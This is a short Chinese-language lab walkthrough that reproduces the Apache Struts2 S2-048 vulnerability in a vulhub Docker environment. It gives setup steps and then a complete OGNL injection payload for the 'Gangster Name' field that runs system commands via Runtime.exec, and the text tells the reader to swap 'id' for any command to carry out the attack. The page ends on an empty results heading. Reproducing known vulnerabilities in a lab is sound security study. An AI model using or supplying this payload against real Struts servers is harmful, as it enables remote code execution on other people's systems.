介绍
Struts2是一个基于MVC设计模式(java)的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互
漏洞环境
vulhub/struts2/s2-048
漏洞复现
1.ubuntu选择vulhub-master/struts2/s2-048目录,输入docker-compose up -d启动环境
2.访问http://192.168.16.131:8080/showcase/管理界面,ip为ubuntu的IP
3.选择ntegration/Struts 1 Integration,即为漏洞界面
4.Gangster Name输入以下代码即可执行( 之后替换id处为命令即可进行攻击)
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
执行效果